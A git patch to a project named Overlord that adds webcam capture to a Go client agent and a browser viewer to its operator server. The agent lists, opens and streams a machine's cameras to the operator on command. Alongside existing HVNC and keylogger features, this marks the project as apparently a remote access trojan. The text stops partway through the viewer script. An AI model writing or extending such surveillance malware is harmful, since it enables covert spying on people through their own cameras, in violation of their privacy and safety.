From 78a79ea3e151cfd0206a0376d8870935526f782b Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 8 Mar 2026 22:31:11 -0500 Subject: [PATCH] webcam --- .../cmd/agent/capture/webcam_devices_stub.go | 23 ++ .../agent/capture/webcam_devices_windows.go | 161 ++++++++ .../cmd/agent/capture/webcam_stub.go | 17 + .../cmd/agent/capture/webcam_windows.go | 238 +++++++++++ Overlord-Client/cmd/agent/handlers/command.go | 103 +++++ Overlord-Client/cmd/agent/handlers/webcam.go | 55 +++ Overlord-Client/cmd/agent/runtime/env.go | 6 + Overlord-Client/cmd/agent/session.go | 7 + Overlord-Client/cmd/agent/wire/protocol.go | 13 + Overlord-Client/go.mod | 4 +- Overlord-Client/go.sum | 8 +- Overlord-Server/public/assets/main.js | 8 + Overlord-Server/public/assets/ui.js | 1 + Overlord-Server/public/assets/webcam.js | 379 ++++++++++++++++++ Overlord-Server/public/webcam.html | 105 +++++ Overlord-Server/src/main-server.ts | 10 +- Overlord-Server/src/protocol.ts | 19 + .../src/server/routes/page-routes.ts | 24 ++ .../routes/websocket-lifecycle-routes.ts | 29 ++ .../src/server/routes/ws-upgrade-routes.ts | 18 + .../src/server/ws-console-rd-hvnc.ts | 92 ++++- .../src/sessions/sessionManager.ts | 23 ++ Overlord-Server/src/sessions/types.ts | 1 + Overlord-Server/src/wsHandlers.ts | 9 +- Overlord-Server/src/wsValidation.ts | 3 +- go.work.sum | 6 +- start-dev.bat | 2 +- 27 files changed, 1352 insertions(+), 12 deletions(-) create mode 100644 Overlord-Client/cmd/agent/capture/webcam_devices_stub.go create mode 100644 Overlord-Client/cmd/agent/capture/webcam_devices_windows.go create mode 100644 Overlord-Client/cmd/agent/capture/webcam_stub.go create mode 100644 Overlord-Client/cmd/agent/capture/webcam_windows.go create mode 100644 Overlord-Client/cmd/agent/handlers/webcam.go create mode 100644 Overlord-Server/public/assets/webcam.js create mode 100644 Overlord-Server/public/webcam.html diff --git a/Overlord-Client/cmd/agent/capture/webcam_devices_stub.go b/Overlord-Client/cmd/agent/capture/webcam_devices_stub.go new file mode 100644 index 0000000..9eb193d --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/webcam_devices_stub.go @@ -0,0 +1,23 @@ +//go:build !windows + +package capture + +type WebcamDeviceInfo struct { + Index int + Name string + MaxFPS int +} + +func ListWebcams() ([]WebcamDeviceInfo, error) { + return []WebcamDeviceInfo{}, nil +} + +func ClampWebcamFPS(_ int, requestedFPS int, _ bool) (int, error) { + if requestedFPS < 1 { + requestedFPS = 30 + } + if requestedFPS > 120 { + requestedFPS = 120 + } + return requestedFPS, nil +} diff --git a/Overlord-Client/cmd/agent/capture/webcam_devices_windows.go b/Overlord-Client/cmd/agent/capture/webcam_devices_windows.go new file mode 100644 index 0000000..382408c --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/webcam_devices_windows.go @@ -0,0 +1,161 @@ +//go:build windows + +package capture + +import ( + "fmt" + "math" + + cam "github.com/Kirizu-Official/windows-camera-go/camera/v1" +) + +type WebcamDeviceInfo struct { + Index int + Name string + MaxFPS int +} + +func ListWebcams() ([]WebcamDeviceInfo, error) { + webcamMu.Lock() + defer webcamMu.Unlock() + + temporaryInit := false + if !webcamInitDone { + if err := cam.Init(); err != nil { + return nil, fmt.Errorf("webcam init failed: %w", err) + } + webcamInitDone = true + temporaryInit = true + } + + devices, err := cam.EnumDevice() + if err != nil { + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + return nil, fmt.Errorf("webcam enumerate failed: %w", err) + } + + out := make([]WebcamDeviceInfo, 0, len(devices)) + for i, dev := range devices { + name := dev.Name + if name == "" { + name = fmt.Sprintf("Camera %d", i+1) + } + maxFPS := 30 + if webcamActive != nil && webcamActive.deviceIndex == i && webcamActive.captureFPS > 0 { + maxFPS = int(math.Round(webcamActive.captureFPS)) + } else if fps, fpsErr := webcamMaxSupportedFPSNoLock(dev.SymbolLink); fpsErr == nil && fps > 0 { + maxFPS = fps + } + out = append(out, WebcamDeviceInfo{Index: i, Name: name, MaxFPS: maxFPS}) + } + + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + + return out, nil +} + +func ClampWebcamFPS(deviceIndex int, requestedFPS int, useMax bool) (int, error) { + if requestedFPS < 1 { + requestedFPS = 30 + } + if requestedFPS > 120 { + requestedFPS = 120 + } + + maxFPS, err := webcamMaxSupportedFPS(deviceIndex) + if err != nil { + return requestedFPS, err + } + if maxFPS <= 0 { + return requestedFPS, nil + } + if useMax || requestedFPS > maxFPS { + return maxFPS, nil + } + return requestedFPS, nil +} + +func webcamMaxSupportedFPS(deviceIndex int) (int, error) { + webcamMu.Lock() + defer webcamMu.Unlock() + + if webcamActive != nil && webcamActive.deviceIndex == deviceIndex && webcamActive.captureFPS > 0 { + return int(math.Round(webcamActive.captureFPS)), nil + } + + temporaryInit := false + if !webcamInitDone { + if err := cam.Init(); err != nil { + return 0, fmt.Errorf("webcam init failed: %w", err) + } + webcamInitDone = true + temporaryInit = true + } + + devices, err := cam.EnumDevice() + if err != nil { + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + return 0, fmt.Errorf("webcam enumerate failed: %w", err) + } + if len(devices) == 0 { + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + return 0, fmt.Errorf("no webcam devices detected") + } + if deviceIndex < 0 || deviceIndex >= len(devices) { + deviceIndex = 0 + } + + maxFPS, err := webcamMaxSupportedFPSNoLock(devices[deviceIndex].SymbolLink) + if err != nil { + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + return 0, err + } + + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + + return maxFPS, nil +} + +func webcamMaxSupportedFPSNoLock(symbolLink string) (int, error) { + device, err := cam.OpenDevice(symbolLink) + if err != nil { + return 0, fmt.Errorf("open webcam failed: %w", err) + } + defer device.CloseDevice() + + formats, err := device.EnumerateCaptureFormats() + if err != nil { + return 0, fmt.Errorf("enumerate webcam formats failed: %w", err) + } + + maxFPS := 0 + for _, format := range formats { + if !isJPEGSubtype(format) && !isH264Subtype(format) { + continue + } + fps := int(math.Round(format.Fps)) + if fps > maxFPS { + maxFPS = fps + } + } + + return maxFPS, nil +} diff --git a/Overlord-Client/cmd/agent/capture/webcam_stub.go b/Overlord-Client/cmd/agent/capture/webcam_stub.go new file mode 100644 index 0000000..ab321ef --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/webcam_stub.go @@ -0,0 +1,17 @@ +//go:build !windows + +package capture + +import ( + "context" + "errors" + + rt "overlord-client/cmd/agent/runtime" +) + +func NowWebcam(_ context.Context, _ *rt.Env) error { + return errors.New("webcam capture is only supported on Windows") +} + +func CleanupWebcam() { +} diff --git a/Overlord-Client/cmd/agent/capture/webcam_windows.go b/Overlord-Client/cmd/agent/capture/webcam_windows.go new file mode 100644 index 0000000..b7a3d0e --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/webcam_windows.go @@ -0,0 +1,238 @@ +//go:build windows + +package capture + +import ( + "context" + "fmt" + "log" + "sync" + "time" + + cam "github.com/Kirizu-Official/windows-camera-go/camera/v1" + "github.com/Kirizu-Official/windows-camera-go/windows/guid" + + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +type webcamState struct { + deviceIndex int + device *cam.Device + capture *cam.CaptureSync + format string + captureFPS float64 +} + +var ( + webcamMu sync.Mutex + webcamInitDone bool + webcamActive *webcamState +) + +func NowWebcam(ctx context.Context, env *rt.Env) error { + if ctx.Err() != nil { + return nil + } + + capture, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex) + if err != nil { + return err + } + + sample, err := capture.GetFrame() + if err != nil { + resetWebcamState() + return err + } + if sample == nil || sample.PpSample == nil { + return nil + } + + buffer, err := capture.Device.ParseSampleToBuffer(sample.PpSample) + if err != nil { + sample.Release() + return err + } + if buffer == nil { + sample.Release() + return nil + } + + frameBytes := make([]byte, int(buffer.Length)) + copy(frameBytes, buffer.Buffer[:buffer.Length]) + buffer.Release() + sample.Release() + + frame := wire.Frame{ + Type: "frame", + Header: wire.FrameHeader{ + Monitor: deviceIndex, + FPS: 0, + Format: format, + Webcam: true, + }, + Data: frameBytes, + } + if ctx.Err() != nil { + return nil + } + // Do not use the stream-cancel context for socket writes; canceling an in-flight + // write during webcam_stop can tear down the whole websocket on some transports. + writeCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + return wire.WriteMsg(writeCtx, env.Conn, frame) +} + +func CleanupWebcam() { + webcamMu.Lock() + closeWebcamLocked() + webcamMu.Unlock() +} + +func ensureWebcamCapture(requestedIndex int) (*cam.CaptureSync, int, string, error) { + webcamMu.Lock() + defer webcamMu.Unlock() + + if requestedIndex < 0 { + requestedIndex = 0 + } + if webcamActive != nil && webcamActive.capture != nil && webcamActive.deviceIndex == requestedIndex { + return webcamActive.capture, webcamActive.deviceIndex, webcamActive.format, nil + } + + closeWebcamLocked() + + if !webcamInitDone { + if err := cam.Init(); err != nil { + return nil, 0, "", fmt.Errorf("webcam init failed: %w", err) + } + webcamInitDone = true + } + + devices, err := cam.EnumDevice() + if err != nil { + return nil, 0, "", fmt.Errorf("webcam enumerate failed: %w", err) + } + if len(devices) == 0 { + return nil, 0, "", fmt.Errorf("no webcam devices detected") + } + if requestedIndex >= len(devices) { + requestedIndex = 0 + } + + deviceInfo := devices[requestedIndex] + device, err := cam.OpenDevice(deviceInfo.SymbolLink) + if err != nil { + return nil, 0, "", fmt.Errorf("open webcam failed: %w", err) + } + + formats, err := device.EnumerateCaptureFormats() + if err != nil { + device.CloseDevice() + return nil, 0, "", fmt.Errorf("enumerate webcam formats failed: %w", err) + } + if len(formats) == 0 { + device.CloseDevice() + return nil, 0, "", fmt.Errorf("no webcam capture formats available") + } + selected, selectedFormat := selectWebcamFormat(formats) + if selected == nil { + device.CloseDevice() + return nil, 0, "", fmt.Errorf("no JPEG/H264 webcam format available") + } + capture, err := device.StartCapture(selected) + if err != nil { + device.CloseDevice() + return nil, 0, "", fmt.Errorf("start webcam capture failed: %w", err) + } + + webcamActive = &webcamState{ + deviceIndex: requestedIndex, + device: device, + capture: capture, + format: selectedFormat, + captureFPS: selected.Fps, + } + log.Printf("webcam: selected device=%q index=%d format=%s %dx%d@%.2ffps", deviceInfo.Name, requestedIndex, selectedFormat, selected.Width, selected.Height, selected.Fps) + return capture, requestedIndex, selectedFormat, nil +} + +func selectWebcamFormat(formats []*cam.CaptureFormats) (*cam.CaptureFormats, string) { + var best *cam.CaptureFormats + bestScore := -1.0 + bestFormat := "" + for _, format := range formats { + streamFormat := "" + if isJPEGSubtype(format) { + streamFormat = "jpeg" + } else if isH264Subtype(format) { + streamFormat = "h264" + } + if streamFormat == "" { + continue + } + score := formatScore(format) + if streamFormat == "jpeg" { + score += 100_000_000 + } + if streamFormat == "h264" && !format.IsCompressedFormat { + // Prefer compressed H264 camera output where available. + score -= 10_000_000 + } + if score > bestScore { + best = format + bestScore = score + bestFormat = streamFormat + } + } + return best, bestFormat +} + +func isJPEGSubtype(format *cam.CaptureFormats) bool { + if format == nil || format.SubType == nil { + return false + } + return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeMJPG) || + format.SubType.IsMatch(&guid.SubTypeMediaSubTypeIJPG) +} + +func isH264Subtype(format *cam.CaptureFormats) bool { + if format == nil || format.SubType == nil { + return false + } + return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeH264) +} + +func formatScore(format *cam.CaptureFormats) float64 { + if format == nil { + return -1 + } + score := float64(format.Width*format.Height) + format.Fps*1000 + if format.IsCompressedFormat { + score += 5_000_000 + } + if isJPEGSubtype(format) { + score += 10_000_000 + } + if format.MajorType != nil && (*format.MajorType).IsMatch(&guid.MajorTypeVideo) { + score += 1_000_000 + } + return score +} + +func resetWebcamState() { + webcamMu.Lock() + defer webcamMu.Unlock() + if webcamActive != nil { + webcamActive.device.CloseDevice() + webcamActive = nil + } +} + +func closeWebcamLocked() { + if webcamActive != nil { + webcamActive.device.CloseDevice() + webcamActive = nil + } +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index c1b8b39..0196d04 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -82,6 +82,18 @@ func resetForReconnect(env *runtime.Env) { env.HVNCSelectedDisplay = 0 env.HVNCMu.Unlock() + env.WebcamMu.Lock() + if env.WebcamCancel != nil { + env.WebcamCancel() + } + waitStreamStop(env.WebcamDone, "webcam") + env.WebcamCancel = nil + env.WebcamDone = nil + env.WebcamDeviceIndex = 0 + env.WebcamFPS = 30 + env.WebcamUseMaxFPS = false + env.WebcamMu.Unlock() + if env.Console != nil { env.Console.StopAll() } @@ -1264,6 +1276,97 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, true, "") return nil + case "webcam_start": + env.WebcamMu.Lock() + if env.WebcamCancel != nil { + env.WebcamCancel() + waitStreamStop(env.WebcamDone, "webcam") + } + webcamCtx, cancel := context.WithCancel(ctx) + env.WebcamCancel = cancel + done := make(chan struct{}) + env.WebcamDone = done + goSafe("webcam stream", env.Cancel, func() { + log.Printf("webcam: start requested") + _ = WebcamStart(webcamCtx, env) + close(done) + }) + env.WebcamMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "webcam_list": + devices, err := capture.ListWebcams() + if err != nil { + sendCommandResultSafe(env, cmdID, false, err.Error()) + return nil + } + out := make([]wire.WebcamDevice, 0, len(devices)) + for _, dev := range devices { + out = append(out, wire.WebcamDevice{Index: dev.Index, Name: dev.Name, MaxFPS: dev.MaxFPS}) + } + _ = wire.WriteMsg(ctx, env.Conn, wire.WebcamDevices{Type: "webcam_devices", Devices: out, Selected: env.WebcamDeviceIndex}) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "webcam_select": + payload, _ := envelope["payload"].(map[string]interface{}) + index := 0 + if payload != nil { + if n, ok := payloadInt(payload, "index"); ok { + index = n + } + } + env.WebcamDeviceIndex = index + capture.CleanupWebcam() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "webcam_set_fps": + payload, _ := envelope["payload"].(map[string]interface{}) + env.WebcamMu.Lock() + isStreaming := env.WebcamCancel != nil + env.WebcamMu.Unlock() + if isStreaming { + sendCommandResultSafe(env, cmdID, false, "stop webcam before changing fps") + return nil + } + fps := env.WebcamFPS + useMax := env.WebcamUseMaxFPS + if payload != nil { + if n, ok := payloadInt(payload, "fps"); ok { + fps = n + } + if v, ok := payload["useMax"].(bool); ok { + useMax = v + } + } + if fps < 1 { + fps = 30 + } + if fps > 120 { + fps = 120 + } + clampedFPS, clampErr := capture.ClampWebcamFPS(env.WebcamDeviceIndex, fps, useMax) + if clampErr != nil { + log.Printf("webcam: fps clamp fallback requested=%d err=%v", fps, clampErr) + } else { + fps = clampedFPS + } + env.WebcamFPS = fps + env.WebcamUseMaxFPS = useMax + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "webcam_stop": + env.WebcamMu.Lock() + log.Printf("webcam: stop requested") + if env.WebcamCancel != nil { + env.WebcamCancel() + } + waitStreamStop(env.WebcamDone, "webcam") + env.WebcamCancel = nil + env.WebcamDone = nil + env.WebcamMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "console_start": sessionID, _ := envelopePayloadString(envelope, "sessionId") cols, rows := envelopePayloadInts(envelope) diff --git a/Overlord-Client/cmd/agent/handlers/webcam.go b/Overlord-Client/cmd/agent/handlers/webcam.go new file mode 100644 index 0000000..0a3d7dd --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/webcam.go @@ -0,0 +1,55 @@ +package handlers + +import ( + "context" + "log" + "time" + + "overlord-client/cmd/agent/capture" + rt "overlord-client/cmd/agent/runtime" +) + +func WebcamStart(ctx context.Context, env *rt.Env) error { + fps := env.WebcamFPS + if fps <= 0 { + fps = 30 + } + if env.WebcamUseMaxFPS { + fps = 60 + } + if fps > 120 { + fps = 120 + } + interval := time.Second / time.Duration(fps) + log.Printf("webcam: starting stream (max fps %d)", fps) + defer capture.CleanupWebcam() + ticker := time.NewTicker(interval) + defer ticker.Stop() + lastErrText := "" + lastErrLogAt := time.Time{} + + for { + select { + case <-ctx.Done(): + log.Printf("webcam: stopping stream") + return nil + case <-ticker.C: + if err := capture.NowWebcam(ctx, env); err != nil { + if ctx.Err() != nil { + log.Printf("webcam: stopping stream") + return nil + } + errText := err.Error() + now := time.Now() + if errText != lastErrText || now.Sub(lastErrLogAt) >= 2*time.Second { + log.Printf("webcam: capture error: %v", err) + lastErrText = errText + lastErrLogAt = now + } + } else { + lastErrText = "" + lastErrLogAt = time.Time{} + } + } + } +} diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go index 6a7582a..9fd5294 100644 --- a/Overlord-Client/cmd/agent/runtime/env.go +++ b/Overlord-Client/cmd/agent/runtime/env.go @@ -34,6 +34,12 @@ type Env struct { HVNCCancel context.CancelFunc HVNCDone chan struct{} HVNCMu sync.Mutex + WebcamDeviceIndex int + WebcamFPS int + WebcamUseMaxFPS bool + WebcamCancel context.CancelFunc + WebcamDone chan struct{} + WebcamMu sync.Mutex // Other fields Plugins *plugins.Manager Keylogger *keylogger.Keylogger diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index fcf785c..6aa01d0 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -315,6 +315,9 @@ func shouldRetryImmediately(err error) bool { if strings.Contains(msg, "timed out from inactivity") { return true } + if strings.Contains(msg, "use of closed network connection") || strings.Contains(msg, "failed to get reader") { + return true + } return false } @@ -499,6 +502,10 @@ func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher if ctx.Err() != nil { return err } + var closeErr *websocket.CloseError + if errors.As(err, &closeErr) { + log.Printf("readLoop: websocket close code=%d reason=%q", closeErr.Code, closeErr.Reason) + } log.Printf("readLoop: read error: %v", err) return err } diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 199bad9..e74d6be 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -48,6 +48,7 @@ type FrameHeader struct { FPS int `msgpack:"fps"` Format string `msgpack:"format"` HVNC bool `msgpack:"hvnc,omitempty"` + Webcam bool `msgpack:"webcam,omitempty"` } type Frame struct { @@ -185,3 +186,15 @@ type Notification struct { Keyword string `msgpack:"keyword,omitempty"` TS int64 `msgpack:"ts,omitempty"` } + +type WebcamDevice struct { + Index int `msgpack:"index"` + Name string `msgpack:"name"` + MaxFPS int `msgpack:"maxFps,omitempty"` +} + +type WebcamDevices struct { + Type string `msgpack:"type"` + Devices []WebcamDevice `msgpack:"devices"` + Selected int `msgpack:"selected"` +} diff --git a/Overlord-Client/go.mod b/Overlord-Client/go.mod index 784df79..9dfbb0a 100644 --- a/Overlord-Client/go.mod +++ b/Overlord-Client/go.mod @@ -1,6 +1,6 @@ module overlord-client -go 1.23 +go 1.24 require ( github.com/creack/pty v1.1.21 @@ -13,6 +13,7 @@ require ( ) require ( + github.com/Kirizu-Official/windows-camera-go v0.2.0 github.com/gen2brain/malgo v0.11.24 golang.org/x/sys v0.24.0 ) @@ -25,4 +26,5 @@ require ( github.com/jezek/xgb v1.1.1 // indirect github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect ) diff --git a/Overlord-Client/go.sum b/Overlord-Client/go.sum index a1a733f..4f286ab 100644 --- a/Overlord-Client/go.sum +++ b/Overlord-Client/go.sum @@ -1,3 +1,5 @@ +github.com/Kirizu-Official/windows-camera-go v0.2.0 h1:wF8s6US/me/d5WaBeoHGVKE8mBOl83kKTfMV38YYQ3g= +github.com/Kirizu-Official/windows-camera-go v0.2.0/go.mod h1:zMP4SmblRxD6zQHe4X07CHO4lnNcWo6zeZhQavO2aLQ= github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0= github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= @@ -35,7 +37,9 @@ github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg= golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q= nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c= diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index dec3d66..9ab35b7 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -83,6 +83,9 @@ function applyMenuSupportRules(clientId) { const hvncBtn = menu.querySelector('[data-open="hvnc"]'); setAvailability(hvncBtn, isWindows, "HVNC is only supported on Windows clients."); + const webcamBtn = menu.querySelector('[data-open="webcam"]'); + setAvailability(webcamBtn, isWindows, "Webcam viewer is only supported on Windows clients."); + const keyloggerBtn = menu.querySelector('[data-open="keylogger"]'); setAvailability( keyloggerBtn, @@ -595,6 +598,11 @@ menu.addEventListener("click", async (e) => { closeMenu(clearContext); return; } + if (open === "webcam") { + window.open(`/webcam?clientId=${contextCard}`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } if (open === "hvnc") { window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener"); closeMenu(clearContext); diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index 4490b3d..c80766b 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -7,6 +7,7 @@ menu.innerHTML = ` + diff --git a/Overlord-Server/public/assets/webcam.js b/Overlord-Server/public/assets/webcam.js new file mode 100644 index 0000000..cae04a3 --- /dev/null +++ b/Overlord-Server/public/assets/webcam.js @@ -0,0 +1,379 @@ +import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; + +(function () { + const clientId = new URLSearchParams(location.search).get("clientId"); + if (!clientId) { + alert("Missing clientId"); + return; + } + + const clientLabel = document.getElementById("clientLabel"); + const startBtn = document.getElementById("startBtn"); + const stopBtn = document.getElementById("stopBtn"); + const cameraSelect = document.getElementById("cameraSelect"); + const refreshCameras = document.getElementById("refreshCameras"); + const fpsInput = document.getElementById("fpsInput"); + const applyFps = document.getElementById("applyFps"); + const viewerFps = document.getElementById("viewerFps"); + const statusEl = document.getElementById("streamStatus"); + const canvas = document.getElementById("frameCanvas"); + const ctx = canvas.getContext("2d"); + + clientLabel.textContent = clientId; + + let ws = null; + let desiredStreaming = false; + let streamState = "connecting"; + let renderCount = 0; + let renderWindowStart = performance.now(); + let videoDecoder = null; + let h264TimestampUs = 0; + let availableDevices = []; + let selectedDeviceIndex = 0; + + function selectedDeviceMaxFps() { + const selected = availableDevices.find((dev) => (Number(dev.index) || 0) === selectedDeviceIndex); + const max = Number(selected?.maxFps) || 0; + return max > 0 ? Math.min(120, max) : 120; + } + + function applyFpsInputLimits() { + const maxFps = selectedDeviceMaxFps(); + fpsInput.max = String(maxFps); + const current = Number(fpsInput.value) || 30; + if (current > maxFps) { + fpsInput.value = String(maxFps); + } + } + + function applyFpsSettings() { + if (streamState === "streaming" || streamState === "starting" || streamState === "stopping") { + setStreamState("error", "Stop stream before changing FPS"); + return; + } + const maxFps = selectedDeviceMaxFps(); + const fps = Math.max(1, Math.min(maxFps, Number(fpsInput.value) || 30)); + if ((Number(fpsInput.value) || 30) > maxFps) { + fpsInput.value = String(maxFps); + setStreamState("idle", `FPS capped to camera max (${maxFps})`); + } + send("webcam_set_fps", { fps, useMax: false }); + } + + function requestCameraList() { + send("webcam_list"); + } + + function renderCameraList(devices, selected) { + availableDevices = Array.isArray(devices) ? devices : []; + cameraSelect.innerHTML = ""; + if (!availableDevices.length) { + const opt = document.createElement("option"); + opt.value = "0"; + opt.textContent = "No cameras detected"; + cameraSelect.appendChild(opt); + cameraSelect.disabled = true; + return; + } + cameraSelect.disabled = false; + for (const dev of availableDevices) { + const idx = Number(dev.index) || 0; + const maxFps = Number(dev.maxFps) || 0; + const opt = document.createElement("option"); + opt.value = String(idx); + opt.textContent = maxFps > 0 + ? `${dev.name || `Camera ${idx + 1}`} (max ${maxFps} FPS)` + : (dev.name || `Camera ${idx + 1}`); + cameraSelect.appendChild(opt); + } + selectedDeviceIndex = Number(selected) || 0; + const selectedOpt = Array.from(cameraSelect.options).find((o) => Number(o.value) === selectedDeviceIndex); + if (selectedOpt) { + cameraSelect.value = selectedOpt.value; + } else if (cameraSelect.options.length) { + cameraSelect.value = cameraSelect.options[0].value; + } + selectedDeviceIndex = Number(cameraSelect.value) || 0; + applyFpsInputLimits(); + } + + function isH264KeyFrame(data) { + for (let i = 0; i + 4 < data.length; i++) { + let startCodeLen = 0; + if (data[i] === 0x00 && data[i + 1] === 0x00 && data[i + 2] === 0x01) { + startCodeLen = 3; + } else if ( + i + 4 < data.length && + data[i] === 0x00 && + data[i + 1] === 0x00 && + data[i + 2] === 0x00 && + data[i + 3] === 0x01 + ) { + startCodeLen = 4; + } + if (!startCodeLen) continue; + const nalIndex = i + startCodeLen; + if (nalIndex >= data.length) break; + const nalType = data[nalIndex] & 0x1f; + if (nalType === 5) { + return true; + } + i = nalIndex; + } + return false; + } + + function destroyVideoDecoder() { + if (!videoDecoder) return; + try { + videoDecoder.close(); + } catch {} + videoDecoder = null; + } + + function ensureVideoDecoder() { + if (videoDecoder) return true; + if (typeof VideoDecoder !== "function") return false; + try { + videoDecoder = new VideoDecoder({ + output: (frame) => { + const width = frame.displayWidth || frame.codedWidth || canvas.width; + const height = frame.displayHeight || frame.codedHeight || canvas.height; + if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) { + canvas.width = width; + canvas.height = height; + } + try { + ctx.drawImage(frame, 0, 0, canvas.width, canvas.height); + } finally { + frame.close(); + } + }, + error: (err) => { + console.warn("webcam h264 decoder error", err); + }, + }); + videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true }); + h264TimestampUs = 0; + return true; + } catch (err) { + console.warn("webcam h264 decoder unavailable", err); + destroyVideoDecoder(); + return false; + } + } + + function setStreamState(state, text) { + streamState = state; + const icons = { + connecting: '', + starting: '', + stopping: '', + streaming: '', + idle: '', + offline: '', + disconnected: '', + error: '', + }; + const label = text || + (state === "streaming" ? "Streaming" : + state === "starting" ? "Starting" : + state === "stopping" ? "Stopping" : + state === "offline" ? "Client offline" : + state === "disconnected" ? "Disconnected" : + state === "error" ? "Error" : + "Stopped"); + + statusEl.innerHTML = `${icons[state] || icons.idle} ${label}`; + + const wsOpen = ws && ws.readyState === WebSocket.OPEN; + const streamLocked = streamState === "streaming" || streamState === "starting" || streamState === "stopping"; + startBtn.disabled = !wsOpen || streamState === "starting" || streamState === "streaming"; + stopBtn.disabled = !wsOpen || (streamState !== "starting" && streamState !== "streaming"); + refreshCameras.disabled = !wsOpen; + applyFps.disabled = !wsOpen || streamLocked; + fpsInput.disabled = !wsOpen || streamLocked; + + if (state === "idle" || state === "offline" || state === "disconnected" || state === "error") { + viewerFps.textContent = "--"; + renderCount = 0; + renderWindowStart = performance.now(); + } + } + + function updateViewerFps() { + const now = performance.now(); + renderCount += 1; + const elapsed = now - renderWindowStart; + if (elapsed >= 1000) { + viewerFps.textContent = String(Math.round((renderCount * 1000) / elapsed)); + renderCount = 0; + renderWindowStart = now; + } + } + + async function drawJpeg(bytes) { + const blob = new Blob([bytes], { type: "image/jpeg" }); + const bitmap = await createImageBitmap(blob); + canvas.width = bitmap.width; + canvas.height = bitmap.height; + ctx.drawImage(bitmap, 0, 0, bitmap.width, bitmap.height); + bitmap.close(); + updateViewerFps(); + setStreamState("streaming", 